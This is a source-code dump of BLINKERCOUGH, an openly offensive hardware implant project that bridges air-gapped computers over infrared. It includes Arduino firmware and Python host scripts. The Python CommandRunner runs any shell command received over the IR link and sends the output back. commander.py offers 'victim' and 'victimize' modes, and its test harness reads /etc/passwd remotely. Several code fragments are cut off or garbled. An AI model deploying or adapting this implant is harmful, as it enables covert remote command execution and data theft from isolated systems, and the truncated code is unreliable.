| 128 | FrameFactory.free(frame); 129 | } 130 | } 131 | GenericCallable frameCB((CB)FrameCallback); 132 | 133 | 134 | 135 | 136 | void setup() 137 | { 138 | pinMode(13, OUTPUT); 139 | 140 | Serial.begin(115200); 141 | init_debug(); 142 | 143 | AddressStorage.begin(); 144 | if (!AddressStorage.present()) { 145 | auto randaddr = AddressStorage.generate(); 146 | debug("storing 0x%04x into prom", randaddr); 147 | AddressStorage.store(randaddr); 148 | } 149 | mac.set_address(AddressStorage.load()); 150 | debug("This station's address is 0x%04x", mac.get_address()); 151 | 152 | mac.set_baud_invert(IR_BAUD, false); 153 | 154 | eventManager.addListener(EventManager::kEventSerial, 155 | &serialCB); 156 | eventManager.addListener(IREVENT, 157 | &irSerialCB); 158 | 159 | eventManager.addListener(BlinkerMac::ValidFrameRecievedEvent, 160 | &frameCB); 161 | 162 | eventManager.addListener(BlinkerMac::InvalidFrameRecievedEvent, 163 | &frameCB); 164 | 165 | 166 | FrameFactory.print_high_water_mark(); 167 | 168 | i2cRegs.begin(); 169 | mac.begin(); 170 | 171 | 172 | debug("Starting up...\n"); 173 | } 174 | 175 | void loop() 176 | { 177 | static auto last = millis(); 178 | auto now = millis(); 179 | if (now - last > 30000) { 180 | last = now; 181 | FrameFactory.print_high_water_mark(); 182 | } 183 | 184 | if (Serial.available()) { 185 | char c = Serial.read(); 186 | eventManager.queueEvent(EventManager::kEventSerial, c); 187 | } 188 | 189 | //FIXME: encapsulate this in RX 190 | // and abstract with method 191 | if (mac.serial.available()) { 192 | const uint8_t c = mac.serial.read(); 193 | eventManager.queueEvent(IREVENT, c); 194 | } 195 | eventManager.processEvent(); 196 | } 197 | 198 | 199 | /* 200 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 201 | * 202 | * Local variables: 203 | * mode: c++ 204 | * c-basic-offset: 4 205 | * tab-width: 8 206 | * indent-tabs-mode: nil 207 | * End: 208 | * 209 | * vi: set shiftwidth=4 tabstop=8 expandtab: 210 | * :indentSize=4:tabSize=8:noTabs=true: 211 | */ 212 | -------------------------------------------------------------------------------- /blinkercough.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 4 | # 5 | # Copyright (C) 2015 Hacker, J.R. 6 | # 7 | # This library is free software; you can redistribute it and/or 8 | # modify it under the terms of the GNU Lesser General Public 9 | # License as published by the Free Software Foundation; either 10 | # version 2.1 of the License, or (at your option) any later version. 11 | # 12 | # This library is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | # Lesser General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU Lesser General Public 18 | # License along with this library; if not, write to the Free Software 19 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 20 | 21 | import time 22 | import serial 23 | import binascii 24 | import select 25 | import sys 26 | import os 27 | import struct 28 | import random 29 | import select 30 | import subprocess 31 | from datetime import datetime 32 | from smbus import SMBus 33 | 34 | class SerialDevice: 35 | def __init__(self, device_path, baud): 36 | self.reset_serial_port(device_path) 37 | self.ser = serial.Serial(device_path, baud) 38 | self.reset_serial_port(device_path) 39 | os.system("stty -F %s echoe echok echoctl echoke" % device_path) 40 | self.reset_arduino() 41 | self.reset_serial_port(device_path) 42 | time.sleep(1) 43 | # work around a bug in pyserial where it leaves the port with funny 44 | # flags that keep things from working 45 | self.wait_for_startup() 46 | time.sleep(1) 47 | 48 | def reset_serial_port(self, device_path): 49 | os.system("stty -F %s echoe echok echoctl echoke" % device_path) 50 | 51 | def read_input(self): 52 | """reads any input and prings out any debug info""" 53 | stop_polling = False 54 | inputs = [self.ser] 55 | outputs = [] 56 | while not stop_polling: 57 | readable, writable, exceptional = select.select(inputs, outputs, inputs) 58 | for fd in readable: 59 | line = fd.readline() 60 | if line.startswith("DBG"): 61 | sys.stdout.write(line) 62 | elif line.strip(): 63 | return line.strip() 64 | 65 | def wait_for_startup(self): 66 | while True: 67 | response = self.ser.readline().strip() 68 | if "Starting" in response: 69 | return 70 | else: 71 | print response 72 | 73 | def reset_arduino(self): 74 | self.ser.setDTR(False) 75 | time.sleep(.2) 76 | self.ser.flushInput() 77 | self.ser.flushOutput() 78 | self.ser.setDTR(True) 79 | time.sleep(0.1) 80 | 81 | def read_register(self, address): 82 | cmd = "READ %02x\r\n" % address 83 | # print cmd.strip() 84 | self.ser.write(cmd) 85 | buf = "" 86 | inputs = [self.ser] 87 | outputs = [] 88 | stop_polling = False 89 | response = None 90 | while not stop_polling: 91 | readable, writable, exceptional = select.select(inputs, outputs, inputs, 1) 92 | for fd in readable: 93 | char = fd.read() 94 | buf += char 95 | if char == '\n': 96 | if buf.startswith("DBG"): 97 | sys.stdout.write(buf) 98 | buf = "" 99 | elif buf.strip(): 100 | response = buf.strip() 101 | stop_polling = True 102 | if not readable: 103 | # if we timeout, try again 104 | self.ser.write(cmd) 105 | decoded_response = None 106 | try: 107 | decoded_response = binascii.unhexlify(response) 108 | except TypeError: 109 | print "couldn't unhexlify '%s'" % response 110 | sys.exit(1) 111 | return decoded_response 112 | 113 | def write_register(self, address, data): 114 | cmd = "WRITE %02x %02x\r\n" % (address, data) 115 | self.ser.write(cmd) 116 | self.ser.flush() 117 | time.sleep(0.01) 118 | 119 | class i2cDevice: 120 | def __init__(self, bus_number): 121 | self.BC_addr = 0x25 122 | self.bus = SMBus(bus_number) 123 | 124 | def read_register(self, address): 125 | self.bus.write_byte(self.BC_addr, address) 126 | time.sleep(0.02) 127 | data = struct.pack('B', self.bus.read_byte(self.BC_addr)) 128 | return data 129 | 130 | def write_register(self, address, data): 131 | self.bus.write_byte_data(self.BC_addr, address, data) 132 | time.sleep(0.02) 133 | 134 | 135 | class BlinkerCough: 136 | data_len = 128-(2+2+1+2) 137 | fmt = '=HHB'+str(data_len)+'sH' 138 | receive_hook = None # to be called when packet recvd 139 | 140 | def __init__(self, device): 141 | """you pass in either a serial thing or an i2c thing""" 142 | self.device = device 143 | self.address = self.get_address() 144 | 145 | def send_raw(self, data): 146 | """to be used for a whole packet""" 147 | i = 0 148 | for d in data: 149 | as_byte = struct.unpack('B', d)[0] 150 | sys.stdout.write("[%03d] 0x%02x " % (i, as_byte)) 151 | if (i+1) % 5 == 0: 152 | sys.stdout.write('\n') 153 | i += 1 154 | self.device.write_register(3, as_byte) 155 | sys.stdout.write('\n') 156 | 157 | 158 | def send(self, destination, data): 159 | print "sending from 0x%04x to 0x%04x" % (self.address, destination) 160 | frame = struct.pack(BlinkerCough.fmt, self.address, destination, 161 | 0x00, #type; hops 162 | data, 163 | 0x00) # crc 164 | self.send_raw(frame) 165 | 166 | def poll(self): 167 | """call this regularly to look for incoming data""" 168 | data = '' 169 | i = 0 170 | while True: 171 | rx_depth = struct.unpack('B', self.device.read_register(0))[0] 172 | if rx_depth == 0: 173 | break 174 | c = (self.device.read_register(1)) 175 | data += c 176 | print "i=%d d=%s" % (i, binascii.hexlify(c)) 177 | time.sleep(0.01) 178 | i+= 1 179 | if data: 180 | (source, dest, hops, data, crc) = struct.unpack(BlinkerCough.fmt, data[::-1]) 181 | print "source: %04x" % source 182 | print "dest: %04x" % dest 183 | print "hops: %d" % hops 184 | if BlinkerCough.receive_hook: 185 | print "calling BC recv hook" 186 | BlinkerCough.receive_hook(source, data) 187 | 188 | def poll_for(self, seconds): 189 | sys.stdout.write("chilling for %d seconds" % seconds) 190 | sys.stdout.flush() 191 | then = datetime.now() 192 | while True: 193 | self.poll() 194 | if (datetime.now() - then).total_seconds() >= seconds: 195 | break 196 | print "done" 197 | 198 | def poll_forever(self): 199 | while True: 200 | self.poll() 201 | time.sleep(0.5) 202 | sys.stdout.write(".") 203 | sys.stdout.flush() 204 | 205 | 206 | def get_address(self): 207 | lower = self.device.read_register(4) 208 | upper = self.device.read_register(5) 209 | return struct.unpack('H', address) 213 | halves = struct.unpack('BB', encoded) 214 | self.device.write_register(4, halves[0]) 215 | self.device.write_register(5, halves[1]) 216 | 217 | class CommandPacket: 218 | """represents a comand packet. Mostly just serialize and deserialize""" 219 | fmt = ' 1: 250 | self.cmd += '\x00' 251 | self.cmd += '\xFF'*zeros 252 | return struct.pack(CommandRunPacket.fmt, self.cmd) 253 | 254 | @classmethod 255 | def unpack(cls, data): 256 | (unpacked_data) = struct.unpack(CommandRunPacket.fmt, data) 257 | cmd = '' 258 | for c in unpacked_data[0]: 259 | if c == '\x00': 260 | break 261 | cmd += c 262 | return cls(cmd) 263 | 264 | class CommandResponsePacket: 265 | fmt = ' 1: 292 | self.output += '\x00' 293 | self.output += '\xff'*zeros 294 | return struct.pack(CommandOutputPacket.fmt, 295 | self.handle, 296 | self.output) 297 | 298 | @classmethod 299 | def unpack(cls, data): 300 | (handle, output) = struct.unpack(CommandOutputPacket.fmt, data) 301 | out = '' 302 | for c in output: 303 | if c == '\x00': 304 | break 305 | out += c 306 | return cls(handle, out) 307 | 308 | class CommandTerminatedPacket: 309 | fmt = '= 15: 367 | break 368 | print "done" 369 | p = subprocess.Popen(run_pkt.cmd, shell=True, stderr = subprocess.STDOUT, stdout = subprocess.PIPE) 370 | (stdout, stderr) = p.communicate() 371 | outchunks = self.chunkstring(stdout, 116) 372 | print "command run. chunks of output", len(outchunks) 373 | for chunk in outchunks: 374 | outpkt = CommandOutputPacket(handle, chunk) 375 | cmdpkt = CommandPacket(CommandOutputPacket.submagic, outpkt.pack()) 376 | print "sending output packet" 377 | CommandRunner.send_hook(source, cmdpkt.pack()) 378 | print "chilling to give other guy chance to think about things" 379 | then = datetime.now() 380 | while True: 381 | self.bc.poll() 382 | if (datetime.now() - then).total_seconds() >= 15: 383 | break 384 | print "done" 385 | termpkt = CommandTerminatedPacket(handle, p.returncode) 386 | cmdpkt = CommandPacket(CommandTerminatedPacket.submagic, termpkt.pack()) 387 | print "chilling to give other guy chance to think about things" 388 | then = datetime.now() 389 | while True: 390 | self.bc.poll() 391 | if (datetime.now() - then).total_seconds() >= 15: 392 | break 393 | print "done" 394 | CommandRunner.send_hook(source, cmdpkt.pack()) 395 | 396 | if cmd_pkt.submagic == CommandResponsePacket.submagic: 397 | print "packet is command response packet" 398 | resp_packet = CommandResponsePacket.unpack(cmd_pkt.data) 399 | self.handle = resp_packet.handle 400 | print "handle is %04x" % self.handle 401 | 402 | elif cmd_pkt.submagic == CommandOutputPacket.submagic: 403 | out_pkt = CommandOutputPacket.unpack(cmd_pkt.data) 404 | if CommandRunner.output_hook: 405 | CommandRunner.output_hook(out_pkt.output) 406 | elif cmd_pkt.submagic == CommandTerminatedPacket.submagic: 407 | term_pkt = CommandTerminatedPacket.unpack(cmd_pkt.data) 408 | if CommandRunner.terminated_hook: 409 | CommandRunner.terminated_hook(term_pkt.returncode) 410 | 411 | if __name__ == "__main__": 412 | # test harness of sorts for commandpacket 413 | def output_hook(output): 414 | print "output:", output 415 | 416 | def terminated_hook(code): 417 | print "terminated:", code 418 | 419 | def send_hook(dest, data): 420 | print "send_hook" 421 | print "dest:", dest 422 | print "data:", binascii.hexlify(data) 423 | 424 | cr = CommandRunner() 425 | CommandRunner.send_hook = staticmethod(send_hook) 426 | CommandRunner.output_hook = staticmethod(output_hook) 427 | CommandRunner.terminated_hook = staticmethod(terminated_hook) 428 | cr.run_remote_command(0x1234, 'cat /etc/passwd') 429 | cr.on_recv(0x1234, CommandPacket(CommandResponsePacket.submagic, CommandResponsePacket(12).pack()).pack()) 430 | print "recv'd handle is:", cr.handle 431 | print "command output is" 432 | cr.on_recv(0x1234, CommandPacket(CommandOutputPacket.submagic, CommandOutputPacket(12,'I am output').pack()).pack()) 433 | cr.on_recv(0x1234, CommandPacket(CommandRunPacket.submagic, CommandRunPacket("cat /etc/passwd").pack()).pack()) 434 | cr.on_recv(0x1234, CommandPacket(CommandTerminatedPacket.submagic, CommandTerminatedPacket(12, 4).pack()).pack()) 435 | 436 | print "running a command" 437 | cr.on_recv(0x1234, CommandPacket(CommandRunPacket.submagic, CommandRunPacket('cat /etc/passwd').pack()).pack()) 438 | -------------------------------------------------------------------------------- /codec.h: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #ifndef _CODEC_H 22 | #define _CODEC_H 23 | 24 | #include "util.h" 25 | #include 26 | #include 27 | #include 28 | 29 | #define BYTESTUFF 3 30 | 31 | struct Writer 32 | { 33 | virtual void operator() (uint8_t input) = 0; 34 | }; 35 | 36 | class Codec 37 | { 38 | public: 39 | virtual ~Codec() {} 40 | virtual void encode_byte(uint8_t input, Writer &writer) = 0; 41 | virtual bool decode_byte(uint8_t input, uint8_t &output) = 0; 42 | virtual void reset_codec_state() = 0; 43 | }; 44 | 45 | class ByteStuffCodec 46 | { 47 | public: 48 | //FIXME: this will not work because stream has no write method 49 | // we need to refactor this (again) 50 | // possibly taking it from Stream to SoftwareSerial 51 | void encode_byte(uint8_t input, Writer &writer) 52 | { 53 | encoder_cnt = (encoder_cnt + 1) % BYTESTUFF; 54 | if (encoder_cnt % BYTESTUFF == 0) { 55 | const uint8_t ff = 0xff; 56 | writer(ff); 57 | encoder_cnt++; 58 | } 59 | writer(input); 60 | delay(1); 61 | } 62 | 63 | bool decode_byte(uint8_t input, uint8_t &output) 64 | { 65 | debugcont(" [%02X", input); 66 | decoder_cnt = (decoder_cnt + 1) % BYTESTUFF; 67 | if (decoder_cnt % BYTESTUFF == 0) { 68 | if (input != 0xFF) { 69 | debugcont("?"); 70 | } 71 | debugcont("!] "); 72 | //input should be 0xFF here 73 | return false; 74 | } 75 | debugcont("] "); 76 | output = input; 77 | return true; 78 | } 79 | 80 | void reset_codec_state() 81 | { 82 | encoder_cnt = 1; 83 | decoder_cnt = 1; 84 | } 85 | 86 | private: 87 | uint8_t encoder_cnt; 88 | uint8_t decoder_cnt; 89 | }; 90 | 91 | #if 0 92 | class BitStuffCodec : Codec 93 | { 94 | public: 95 | void encode_byte(uint8_t input, void (write)(uint8_t)) 96 | { 97 | //we will ship out 7 bits this cycle 98 | // that means we will ship out 7-qlen bits of our input 99 | // which means our leftover bits (or new qlen) is going to be 100 | // 8-(7-qlen) 101 | 102 | uint8_t output = ebitq | (input << eqlen) | 0x80; 103 | //we need to shift the input (where the leftovers come from) over by 104 | //8-(7-qlen) 105 | eqlen = 8 - (7 - eqlen); 106 | ebitq = input >> (8 - eqlen); 107 | write(output); 108 | 109 | if (eqlen == 7) { 110 | output = ebitq; 111 | output |= 0x80; 112 | ebitq = 0x0; 113 | eqlen = 0; 114 | write(output); 115 | } 116 | } 117 | 118 | bool decode_byte(uint8_t input, uint8_t &output) 119 | { 120 | if (dqlen == 0) { 121 | dbitq = input & 0x7f; 122 | dqlen = 7; 123 | return false; 124 | } 125 | 126 | output = dbitq | ((input << dqlen) & ~(0xff >> (8 - dqlen))); 127 | dbitq = (input & 0x7f) >> (8 - dqlen); 128 | dqlen--; 129 | return true; 130 | } 131 | 132 | void reset_codec_state() 133 | { 134 | ebitq = 0x00; 135 | eqlen = 0; 136 | dbitq = 0x00; 137 | dqlen = 0; 138 | } 139 | 140 | private: 141 | uint8_t ebitq; 142 | uint8_t eqlen; 143 | uint8_t dbitq; 144 | uint8_t dqlen; 145 | }; 146 | #endif 147 | 148 | 149 | #endif /* _CODEC_H */ 150 | /* 151 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 152 | * 153 | * Local variables: 154 | * mode: c++ 155 | * c-basic-offset: 4 156 | * tab-width: 8 157 | * indent-tabs-mode: nil 158 | * End: 159 | * 160 | * vi: set shiftwidth=4 tabstop=8 expandtab: 161 | * :indentSize=4:tabSize=8:noTabs=true: 162 | */ 163 | -------------------------------------------------------------------------------- /commander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 4 | # 5 | # Copyright (C) 2015 Hacker, J.R. 6 | # 7 | # This library is free software; you can redistribute it and/or 8 | # modify it under the terms of the GNU Lesser General Public 9 | # License as published by the Free Software Foundation; either 10 | # version 2.1 of the License, or (at your option) any later version. 11 | # 12 | # This library is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | # Lesser General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU Lesser General Public 18 | # License along with this library; if not, write to the Free Software 19 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 20 | 21 | from blinkercough import * 22 | import sys 23 | import os 24 | import re 25 | 26 | def output_hook(output): 27 | print output 28 | 29 | def terminated_hook(code): 30 | print "command exited with exit code", code 31 | 32 | def print_hook(source, packet): 33 | print "packet from", source 34 | print binascii.hexlify(packet) 35 | 36 | if len(sys.argv) < 3: 37 | print "usage script " 38 | sys.exit(1) 39 | 40 | def convert(value): 41 | result = None 42 | hexstr = False 43 | if re.match('[\da-fA-F]+', value): 44 | hexstr = True 45 | try: 46 | if hexstr: 47 | result = int(value, 16) 48 | else: 49 | result = int(value, 0) 50 | except ValueError: 51 | print "can't convert '%s' to int" % value 52 | sys.exit(1) 53 | return result 54 | 55 | 56 | dev = sys.argv[1] 57 | devtype = None 58 | BC = None 59 | try: 60 | int(dev) 61 | # must be i2c 62 | devtype = 'i2c' 63 | BC = BlinkerCough(i2cDevice(int(dev))) 64 | except ValueError: 65 | # must be a serial 66 | devtype = 'serial' 67 | BC = BlinkerCough(SerialDevice(dev, 115200)) 68 | 69 | action = sys.argv[2] 70 | if action == 'getaddr': 71 | addr = BC.get_address() 72 | print "blinker cough address is: 0x%04x" % addr 73 | elif action == 'setaddr': 74 | if len(sys.argv) != 4: 75 | print "didn't supply address" 76 | sys.exit(1) 77 | BC.set_address(int(sys.argv[3])) 78 | elif action == 'sendstuff': 79 | to = 0000 80 | if len(sys.argv) == 4: 81 | to = convert(sys.argv[3]) 82 | for i in range(0,5): 83 | print "sending packet %d to: 0x%04x" % (i, to) 84 | stufflen = 120 85 | stuff = '\xFE\xED\xFA\xCE\xDE\xAD\xBE\xEF' 86 | stuff += '\xff'*(119 - len(stuff))+'\xf0' 87 | BC.send(to, stuff) 88 | BC.poll_for(35) 89 | while True: 90 | BC.poll() 91 | time.sleep(0.5) 92 | sys.stdout.write(".") 93 | sys.stdout.flush() 94 | elif action == 'listen': 95 | BlinkerCough.receive_hook = staticmethod(print_hook) 96 | print "waiting for packets at address 0x%04x" % BC.address 97 | sys.stdout.write("polling...") 98 | sys.stdout.flush() 99 | while True: 100 | BC.poll() 101 | time.sleep(0.5) 102 | sys.stdout.write(".") 103 | sys.stdout.flush() 104 | elif action == 'victim': 105 | print "playing the victim at address 0x%04x" % BC.address 106 | CR = CommandRunner(BC) 107 | BlinkerCough.receive_hook = CR.on_recv 108 | CommandRunner.send_hook = BC.send 109 | sys.stdout.write("polling...") 110 | sys.stdout.flush() 111 | while True: 112 | BC.poll() 113 | time.sleep(0.5) 114 | sys.stdout.write(".") 115 | sys.stdout.flush() 116 | elif action == 'victimize': 117 | if len(sys.argv) != 5: 118 | print "victimize requires victim and cmd" 119 | sys.exit(1) 120 | victim = convert(sys.argv[3]) 121 | cmd = sys.argv[4] 122 | print "victim: 0x%04x cmd '%s'" % (victim, cmd) 123 | CR = CommandRunner(BC) 124 | BlinkerCough.receive_hook = CR.on_recv 125 | CommandRunner.send_hook = BC.send 126 | CommandRunner.output_hook = staticmethod(output_hook) 127 | CommandRunner.terminated_hook = staticmethod(terminated_hook) 128 | CR.run_remote_command(victim, cmd) 129 | while True: 130 | BC.poll() 131 | time.sleep(0.5) 132 | sys.stdout.write(".") 133 | sys.stdout.flush() 134 | 135 | else: 136 | print "I don't action '%s'" % action 137 | print "actions available:" 138 | print " getaddr" 139 | print " setaddr" 140 | print " sendstuff" 141 | print " listen" 142 | print " victim" 143 | print " victimize" 144 | sys.exit(1) 145 | -------------------------------------------------------------------------------- /crc16.cpp: -------------------------------------------------------------------------------- 1 | /* -*- mode: c; c-file-style: "bsd"; c-basic-offset: 4; indent-tabs-mode: nil -*- */ 2 | 3 | /* taken from https://code.google.com/p/swmodem/ */ 4 | 5 | //////////////////////////////////////////////////////////////////////////////////////////////////// 6 | // crc16.c - 16-bit cyclic code calculator 7 | // 8 | // 2009 (C) Javier Valcarce García, 9 | //////////////////////////////////////////////////////////////////////////////////////////////////// 10 | #include "crc16.h" 11 | 12 | #define POLYNOMIAL 0x8005 13 | 14 | 15 | //////////////////////////////////////////////////////////////////////////////////////////////////// 16 | // Update CRC 17 | static uint16_t crc16_update(uint16_t crc, uint8_t a) 18 | { 19 | // polynomial 0xA001 is the same as 0x8005 20 | // in reverse implementation 21 | uint8_t i; 22 | 23 | crc ^= (a << 8); 24 | for (i = 0; i < 8; i++) 25 | { 26 | if (crc & 0x8000) 27 | crc = (crc << 1) ^ POLYNOMIAL; 28 | else 29 | crc = (crc << 1); 30 | } 31 | 32 | return crc; 33 | } 34 | 35 | 36 | 37 | //////////////////////////////////////////////////////////////////////////////////////////////////// 38 | // Appends a CRC at the end of the frame, at pkt[len - 1] and pkt[len - 2] 39 | void crc16_append(uint8_t* pkt, uint8_t len) 40 | { 41 | uint16_t crc = 0xFFFF; 42 | uint8_t lsb; 43 | uint8_t msb; 44 | uint8_t i; 45 | 46 | for (i = 0; i < len - 2; i++) 47 | crc = crc16_update(crc, pkt[i]); 48 | 49 | // Is very important to maintain the portability to check the crc in this manner 50 | // and not using a pointer to uint16_t because due to the machine endianness this 51 | // would be a machine dependent code 52 | lsb = (crc & 0x00FF); 53 | msb = (crc & 0xFF00) >> 8; 54 | 55 | // CONVENTION: LITTLE-ENDIAN 56 | pkt[len - 2] = lsb; 57 | pkt[len - 1] = msb; 58 | } 59 | 60 | 61 | //////////////////////////////////////////////////////////////////////////////////////////////////// 62 | // Check for valid frame, computes from pkt[0] to pkt[len-3] inclusive 63 | uint8_t crc16_check(uint8_t* pkt, uint8_t len) 64 | { 65 | uint16_t crc = 0xFFFF; 66 | uint8_t lsb; 67 | uint8_t msb; 68 | uint8_t i; 69 | 70 | for (i = 0; i < len - 2; i++) 71 | crc = crc16_update(crc, pkt[i]); 72 | 73 | // Is very important to maintain the portability to check the crc in this manner 74 | // and not using a pointer to uint16_t because due to the machine endianness this 75 | // would be a machine dependent code 76 | lsb = (crc & 0x00FF); 77 | msb = (crc & 0xFF00) >> 8; 78 | 79 | // CONVENTION: LITTLE-ENDIAN 80 | if (lsb != pkt[len - 2]) return 0; 81 | if (msb != pkt[len - 1]) return 0; 82 | 83 | return 1; 84 | } 85 | //////////////////////////////////////////////////////////////////////////////////////////////////// 86 | -------------------------------------------------------------------------------- /crc16.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: c; c-file-style: "bsd"; c-basic-offset: 4; indent-tabs-mode: nil -*- */ 2 | 3 | /* taken from https://code.google.com/p/swmodem/ */ 4 | 5 | //////////////////////////////////////////////////////////////////////////////////////////////////// 6 | // crc16.h - 16-bit cyclic code calculator 7 | // 8 | // 2009 (C) Javier Valcarce García, 9 | //////////////////////////////////////////////////////////////////////////////////////////////////// 10 | #ifndef CRC16_H 11 | #define CRC16_H 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | #include 18 | 19 | //uint16_t crc16_update (uint16_t crc, uint8_t a ); 20 | uint8_t crc16_check (uint8_t* pkt, uint8_t len); 21 | void crc16_append (uint8_t* pkt, uint8_t len); 22 | 23 | #ifdef __cplusplus 24 | } 25 | #endif 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /i2c.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #include "i2c.h" 22 | #include "util.h" 23 | #include "EventManager.h" 24 | #include "mac.h" 25 | 26 | extern EventManager eventManager; 27 | 28 | #define I2CTXEVENT 500 29 | #define I2CTXQEVENT 501 30 | 31 | i2cRegisters i2cRegs; 32 | 33 | void xmit(int event, int param); 34 | GenericCallable i2c_xmit(xmit); 35 | MemberFunctionCallable recv_hook(&i2cRegs, &i2cRegisters::recvHook); 36 | MemberFunctionCallable txenqueue_hook(&i2cRegs, &i2cRegisters::txenqueueHook); 37 | 38 | void i2cReceiveCallback(int count) 39 | { 40 | int a = 0; 41 | uint8_t address = 0; 42 | uint8_t data = 0; 43 | 44 | while (Wire.available() > 0) { 45 | uint8_t d = Wire.read(); 46 | 47 | if (a == 0) { 48 | address = d; 49 | } else if (a == 1) { 50 | data = d; 51 | } 52 | a++; 53 | } 54 | if (a == 1) { 55 | //This is a read and the byte is the address. 56 | 57 | //calling with the c mode seems to cause a request to get issued. 58 | i2cRegs.address = address; 59 | } 60 | if (a >= 2) { 61 | //This is a write 62 | i2cRegs.write(address, data); 63 | } 64 | } 65 | 66 | void i2cRequestCallback(void) 67 | { 68 | Wire.write(i2cRegs.read()); 69 | } 70 | 71 | i2cRegisters::i2cRegisters() : rxq_depth(0), rxq(0), txq_depth(0), txq(0) 72 | { 73 | } 74 | 75 | void i2cRegisters::begin() 76 | { 77 | Wire.begin(SLAVE_ADDRESS); 78 | Wire.onReceive(i2cReceiveCallback); 79 | Wire.onRequest(i2cRequestCallback); 80 | 81 | eventManager.addListener(I2CTXEVENT, &i2c_xmit); 82 | eventManager.addListener(I2CTXQEVENT, &txenqueue_hook); 83 | eventManager.addListener(BlinkerMac::ValidFrameRecievedEvent, &recv_hook); 84 | } 85 | 86 | void xmit(int event, int param) 87 | { 88 | auto frame = (IRFrame*)param; 89 | 90 | debug("sending frame reg set to 0x%04x", frame->destination); 91 | 92 | frame->hops = 0; 93 | frame->source = mac.get_address(); 94 | frame->type = DATA_FRAME; 95 | frame->hton(); 96 | frame->calculate_crc(); 97 | 98 | IRFrame::hexdump(frame); 99 | mac.send_frame(*frame); 100 | 101 | FrameFactory.free(frame); 102 | } 103 | 104 | void i2cRegisters::write(uint8_t address, uint8_t data) 105 | { 106 | switch (address) { 107 | case 3: 108 | eventManager.queueEvent(I2CTXQEVENT, (int)data); 109 | break; 110 | 111 | case 4: 112 | { 113 | union Splitter { 114 | uint16_t address; 115 | uint8_t bytes[2]; 116 | } splitter; 117 | splitter.address = mac.get_address(); 118 | splitter.bytes[0] = data; 119 | mac.set_address(splitter.address); 120 | } 121 | 122 | case 5: 123 | { 124 | union Splitter { 125 | uint16_t address; 126 | uint8_t bytes[2]; 127 | } splitter; 128 | splitter.address = mac.get_address(); 129 | splitter.bytes[1] = data; 130 | mac.set_address(splitter.address); 131 | } 132 | case 6: //new secret register: send a garbage packet 133 | { 134 | auto frame = FrameFactory.alloc(); 135 | for (uint16_t i = 0; i < sizeof(IRFrame); i++) { 136 | frame->blob()[i] = random(256); 137 | } 138 | eventManager.queueEvent(I2CTXEVENT, (int)frame); 139 | } 140 | case 7: //new secret register: "reset" 141 | //actually, this isn't a reset. wdt reset seems to cause an 142 | //infinite loop. This may be due to the bootloader, or 143 | //perhaps setup() is not early enough. 144 | asm volatile (" jmp 0"); 145 | break; 146 | 147 | default: 148 | break; 149 | } 150 | } 151 | 152 | uint8_t i2cRegisters::read(uint8_t addr) 153 | { 154 | address = addr; 155 | return read(); 156 | } 157 | 158 | uint8_t i2cRegisters::read() 159 | { 160 | uint8_t ret = 0; 161 | switch (address) { 162 | case 0: //rxq depth 163 | ret = rxq_depth; 164 | break; 165 | 166 | case 1: //rxq data 167 | if (rxq_depth > 0 && rxq) { 168 | ret = ((IRFrame*)rxq)->blob()[rxq_depth - 1]; 169 | rxq_depth--; 170 | if (rxq_depth == 0) { 171 | FrameFactory.free((IRFrame*)rxq); 172 | rxq = 0; 173 | } 174 | } 175 | break; 176 | 177 | case 2: //txq depth: 178 | ret = txq_depth; 179 | break; 180 | 181 | case 3: //txq data: 182 | //reading txq is invalid 183 | 184 | case 4: //address lower byte 185 | ret = lowByte(mac.get_address()); 186 | break; 187 | 188 | case 5: //address upper byte 189 | ret = highByte(mac.get_address()); 190 | break; 191 | 192 | case 6: //high water mark 193 | ret = FrameFactory.get_high_water_mark(); 194 | break; 195 | 196 | default: //ruhoh 197 | //can't print here b/c in interrupt handler 198 | break; 199 | } 200 | return ret; 201 | } 202 